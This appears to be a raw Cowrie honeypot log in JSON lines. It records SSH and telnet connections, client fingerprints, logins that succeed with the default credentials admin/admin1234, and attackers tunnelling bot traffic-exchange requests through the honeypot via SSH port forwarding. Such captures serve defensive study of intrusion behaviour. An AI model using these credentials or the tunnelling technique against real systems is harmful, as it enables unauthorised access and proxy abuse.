{"eventid":"cowrie.session.closed","duration":36.95275664329529,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:21.025953Z","src_ip":"172.81.62.90","session":"7ac00c91498c","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:21.882050Z","src_ip":"23.175.50.51","session":"c8dde4d10509","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":56536,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a8d9b629e33","protocol":"ssh","message":"New connection: 123.27.168.40:56536 (10.17.0.5:22) [session: 1a8d9b629e33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:32.200105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:32.203990Z","src_ip":"123.27.168.40","session":"1a8d9b629e33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:32.459010Z","src_ip":"123.27.168.40","session":"1a8d9b629e33","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:33.454761Z","session":"c8dde4d10509","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:33.517503Z","src_ip":"23.175.50.51","session":"c8dde4d10509","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 5.0.2; P021) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Mobile Safari/537.36 EdgA/90.0.818.62\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Xj8pRUB3PE4meV9Idk9pUw%3D%3DfPIRTw8cxZi3mzHKaNI7lBjXcyv2i5YHiThDaS04tIpk2XPwORHTC6S04EiBEbpykzF08KQvzgQlSgLIoZ7tB3Dpx4UbSW3OcosJ1%2B4gjzYQOsiGPWu%2B%2FO8bvZhVfcXPeR%2BU%2Bm7AfGf%2Bo0K7DrtuFWEjo6h7zVXRtYfPhpvSjvhQlsNbYHT6kmqhci5s9soNrhSxylyoPnjgJPOYdYoPjjRUA8ucNZyjweOF4vbIfUYtaemrAyVUbve15EhSX5i4pP4xsojframgKvO5Obyb%2B5HWc0Y%2FF9cWAt9U5LYb5dEWyniVT%2FvuHinLMgw3bFJ8qznALG5v962CdvnO86pGUBNWba1C1oL9%2FzvwWNDPQyFen1KrUSxqw8KYf60fqHmlBXtUvTon07oznlsWxpPl6%2FkgFmkyLwl2RPPNG5oLLKOGYx%2FeXYQ1ERzonBpAabiCbFNiTyQ0Cik4RmPRDdAG4pQ3tgMikEnewU6J%2FHdjObJFvFRY2ZlCE5YXPvJYLpmX0%2FMrVXUi0g18CTQbVXZVrGqqs6vET4FO%2Bqh3KeIV5zHqBtA6T1NfshSa8z2gGi0uhMEfn7SM%2FSt5H1Miri20pL4H%2FmnVBXBtbeRBZEmqL4W5Xf86v6bg%2BA%2BFYLBmQEIy%2BDs8LzccR98aNbG67zKUi73AASUpX5LMKiRhoSxqKFQRDdC5brnXOgZKlqPcKABilUR9F7LecxXlH62TsDkQPfjJNuIz3PlcHwdZojHwLnb9NzQSeuW1pEIr99lznthCVLNtxa%2BA782qL5eYcr2LlzS9%2F4IfxbsqoGRBRQkYU7Y85hg6zy8%2BfVJzqGaDactRqyGAWOx2x3vSmCX37aTT01WJNg1aN5EFsvUma4IwKZAhcSXOyHE%2BxnylusjPYtbxeXC6%2FSknoLXwtxotklko9FS229hwBAsXFwS3PKpO%2FPJw0W1jUfnBQxS2x2NxJ7mYM56i10NNDtYZwBMVxY%2BFwDH1ihbCRW16vkTLXULMRCyWDhOIporxG%2BTluXT%2B%2FL3wNzwePzNrdl9z7WKKSQVIZdm4Eaj0PdIL6DXl%2FMHPFic%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 5.0.2; P021) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Mobile Safari/537.36 EdgA/90.0.818.62\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Xj8pRUB3PE4meV9Idk9pUw%3D%3DfPIRTw8cxZi3mzHKaNI7lBjXcyv2i5YHiThDaS04tIpk2XPwORHTC6S04EiBEbpykzF08KQvzgQlSgLIoZ7tB3Dpx4UbSW3OcosJ1%2B4gjzYQOsiGPWu%2B%2FO8bvZhVfcXPeR%2BU%2Bm7AfGf%2Bo0K7DrtuFWEjo6h7zVXRtYfPhpvSjvhQlsNbYHT6kmqhci5s9soNrhSxylyoPnjgJPOYdYoPjjRUA8ucNZyjweOF4vbIfUYtaemrAyVUbve15EhSX5i4pP4xsojframgKvO5Obyb%2B5HWc0Y%2FF9cWAt9U5LYb5dEWyniVT%2FvuHinLMgw3bFJ8qznALG5v962CdvnO86pGUBNWba1C1oL9%2FzvwWNDPQyFen1KrUSxqw8KYf60fqHmlBXtUvTon07oznlsWxpPl6%2FkgFmkyLwl2RPPNG5oLLKOGYx%2FeXYQ1ERzonBpAabiCbFNiTyQ0Cik4RmPRDdAG4pQ3tgMikEnewU6J%2FHdjObJFvFRY2ZlCE5YXPvJYLpmX0%2FMrVXUi0g18CTQbVXZVrGqqs6vET4FO%2Bqh3KeIV5zHqBtA6T1NfshSa8z2gGi0uhMEfn7SM%2FSt5H1Miri20pL4H%2FmnVBXBtbeRBZEmqL4W5Xf86v6bg%2BA%2BFYLBmQEIy%2BDs8LzccR98aNbG67zKUi73AASUpX5LMKiRhoSxqKFQRDdC5brnXOgZKlqPcKABilUR9F7LecxXlH62TsDkQPfjJNuIz3PlcHwdZojHwLnb9NzQSeuW1pEIr99lznthCVLNtxa%2BA782qL5eYcr2LlzS9%2F4IfxbsqoGRBRQkYU7Y85hg6zy8%2BfVJzqGaDactRqyGAWOx2x3vSmCX37aTT01WJNg1aN5EFsvUma4IwKZAhcSXOyHE%2BxnylusjPYtbxeXC6%2FSknoLXwtxotklko9FS229hwBAsXFwS3PKpO%2FPJw0W1jUfnBQxS2x2NxJ7mYM56i10NNDtYZwBMVxY%2BFwDH1ihbCRW16vkTLXULMRCyWDhOIporxG%2BTluXT%2B%2FL3wNzwePzNrdl9z7WKKSQVIZdm4Eaj0PdIL6DXl%2FMHPFic%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:33.520387Z","src_ip":"23.175.50.51","session":"c8dde4d10509","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":38706,"dst_ip":"159.203.135.109","dst_port":22,"session":"64468727f9d8","protocol":"ssh","message":"New connection: 27.71.230.31:38706 (159.203.135.109:22) [session: 64468727f9d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:33.559064Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:33.580790Z","src_ip":"123.27.168.40","session":"1a8d9b629e33","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:33.949641Z","session":"1a8d9b629e33","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:34.063091Z","session":"1a8d9b629e33","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:34.199024Z","src_ip":"123.27.168.40","session":"1a8d9b629e33","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; Blade V10 Vita RU Build/PPR1.180610.011) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=L3Q3RFJMfjg2XnRUWUhMKQ%3D%3DDdlGsK9%2BR4DLHR0CYPvxuAONi1z%2FHrrYP3YwE86Ons%2BHt1fGBSjwac3Y8siF8OEY7r%2BD1hNvr7sj7POmsXzo3DOZU9jyF%2FEBUkN%2B4ei9nAdjYGJJI%2BMkuC20eotVf6%2FwIvB2MuxXKFnhrgKfV8%2FLcGNreAEZB4GtiAZPEjYl9KGFgpCGU9ei6iycSat4455sBmiJNcokfIkgYfENm%2F2R9XnEOvUQMs0P%2Fem7WZ%2FNeUWZM%2ByZgQTQASohAE1W9682NKxXZng06uuMLlyhvY75e5Mdv%2Fs%2FveAaPfoXbOFS%2FMG8j9QkuptQOujfgHdldkXLxi9J00eIO22GgUMRlTSrqUHDvX3vXj7jup6m%2Fs4TuieHXf1i%2F3oHaRC3lsi4EhiFyzUSX8KcnnTEc4WIPnpuHbsp85aA0G3NbTXv5pZ96xX5SW5CfCN6pvMRvO7FR8LEmCTWHNfxBI9k6eIcJii0vIqoOMR9in%2Fmv7JO7vWidICGypmuVnHf9QRnEGBbyudykXvhzBNs0VpKYKrooRYZZGCVrMOf8ZIe0%2BBBuu0WYsl4PZoHgrKt3UQa3i39jgOpC25EFUgA%2BhMU5MUML%2Fy7O0W12um1%2Fm%2BeTMlifAcNYqYQvRKPKPD%2BwWZM%2Fmv0oFmew%2FYfZNp%2FW7Vm8lKxcKBFnlkZa5m3hgUgq7XcC%2BdZJPA0ksE%2F83O61GanxnShKrWqjUe36axXg%2Bal4sPR89acp87QSdowYfsORCnnY0UKXlU0HE40sMXsPldSW6RiopGm%2FZzrE6Gs9hB%2BUOFLiieZ1qX3IE51DwQ8KrnhMpzYYBlosJHagSbWd7Y8G5zByP1%2B%2BDoyhw%2Bilp6NvD2dkNcBePyJwLmtrWVTNM9viaqG1YcDpCzblw6cY9dGvDbGnoWo2Pnk9JCHRWwbsYMt4ab8A52yEYNPmk8aZI1JjbHaPeSIiu7m62B3hy0cmBBOjFA0zDbX4Kyh%2BVkvj%2B0CGdLLZrurvajYJtp3Klr52eJv36u0tsxOtgmYZTFf5UhJWSdszhrMtnIhM3XG7ScEbdDCVPeJy1WYNJmU%2BF8uRohNHu8%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; Blade V10 Vita RU Build/PPR1.180610.011) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=L3Q3RFJMfjg2XnRUWUhMKQ%3D%3DDdlGsK9%2BR4DLHR0CYPvxuAONi1z%2FHrrYP3YwE86Ons%2BHt1fGBSjwac3Y8siF8OEY7r%2BD1hNvr7sj7POmsXzo3DOZU9jyF%2FEBUkN%2B4ei9nAdjYGJJI%2BMkuC20eotVf6%2FwIvB2MuxXKFnhrgKfV8%2FLcGNreAEZB4GtiAZPEjYl9KGFgpCGU9ei6iycSat4455sBmiJNcokfIkgYfENm%2F2R9XnEOvUQMs0P%2Fem7WZ%2FNeUWZM%2ByZgQTQASohAE1W9682NKxXZng06uuMLlyhvY75e5Mdv%2Fs%2FveAaPfoXbOFS%2FMG8j9QkuptQOujfgHdldkXLxi9J00eIO22GgUMRlTSrqUHDvX3vXj7jup6m%2Fs4TuieHXf1i%2F3oHaRC3lsi4EhiFyzUSX8KcnnTEc4WIPnpuHbsp85aA0G3NbTXv5pZ96xX5SW5CfCN6pvMRvO7FR8LEmCTWHNfxBI9k6eIcJii0vIqoOMR9in%2Fmv7JO7vWidICGypmuVnHf9QRnEGBbyudykXvhzBNs0VpKYKrooRYZZGCVrMOf8ZIe0%2BBBuu0WYsl4PZoHgrKt3UQa3i39jgOpC25EFUgA%2BhMU5MUML%2Fy7O0W12um1%2Fm%2BeTMlifAcNYqYQvRKPKPD%2BwWZM%2Fmv0oFmew%2FYfZNp%2FW7Vm8lKxcKBFnlkZa5m3hgUgq7XcC%2BdZJPA0ksE%2F83O61GanxnShKrWqjUe36axXg%2Bal4sPR89acp87QSdowYfsORCnnY0UKXlU0HE40sMXsPldSW6RiopGm%2FZzrE6Gs9hB%2BUOFLiieZ1qX3IE51DwQ8KrnhMpzYYBlosJHagSbWd7Y8G5zByP1%2B%2BDoyhw%2Bilp6NvD2dkNcBePyJwLmtrWVTNM9viaqG1YcDpCzblw6cY9dGvDbGnoWo2Pnk9JCHRWwbsYMt4ab8A52yEYNPmk8aZI1JjbHaPeSIiu7m62B3hy0cmBBOjFA0zDbX4Kyh%2BVkvj%2B0CGdLLZrurvajYJtp3Klr52eJv36u0tsxOtgmYZTFf5UhJWSdszhrMtnIhM3XG7ScEbdDCVPeJy1WYNJmU%2BF8uRohNHu8%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:34.203374Z","src_ip":"123.27.168.40","session":"1a8d9b629e33","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:34.443943Z","src_ip":"123.27.168.40","session":"1a8d9b629e33","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xab9\\xb6\\xb3D\\x80\\xb9\\x88\\xd2q\\xe5Z\\x96;F8t\\x1d\\rF \\xa5\\x95\\x07n\\xf7\\x14Z\\x85\\xf4\\xbb\\xf0 \\xc31\\xe7f\\xa2kS\\xb3\\x03]\\xa0-\\xff\\x85'\\xd1\\xa3m\\x86\\x04;\\xd6\\xd2\\xfe\\x08=K\\x8dU\\xd7\\xf5\\x8c\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc8\\xf0fh\\n\\x83x\\xed8\\xd1\\xb6\\xcb\\x8a$\\xab\\xa6T\\xa9\\x06\\x1f\\xa1\\xa5\\xe5\\x08\\xe7\\x15\\\\}\\xc1j\\x02\\x16\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xab9\\xb6\\xb3D\\x80\\xb9\\x88\\xd2q\\xe5Z\\x96;F8t\\x1d\\rF \\xa5\\x95\\x07n\\xf7\\x14Z\\x85\\xf4\\xbb\\xf0 \\xc31\\xe7f\\xa2kS\\xb3\\x03]\\xa0-\\xff\\x85'\\xd1\\xa3m\\x86\\x04;\\xd6\\xd2\\xfe\\x08=K\\x8dU\\xd7\\xf5\\x8c\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc8\\xf0fh\\n\\x83x\\xed8\\xd1\\xb6\\xcb\\x8a$\\xab\\xa6T\\xa9\\x06\\x1f\\xa1\\xa5\\xe5\\x08\\xe7\\x15\\\\}\\xc1j\\x02\\x16\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:34.446845Z","src_ip":"123.27.168.40","session":"1a8d9b629e33","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:34.521290Z","src_ip":"27.71.230.31","session":"64468727f9d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:34.524176Z","src_ip":"27.71.230.31","session":"64468727f9d8","protocol":"ssh"}
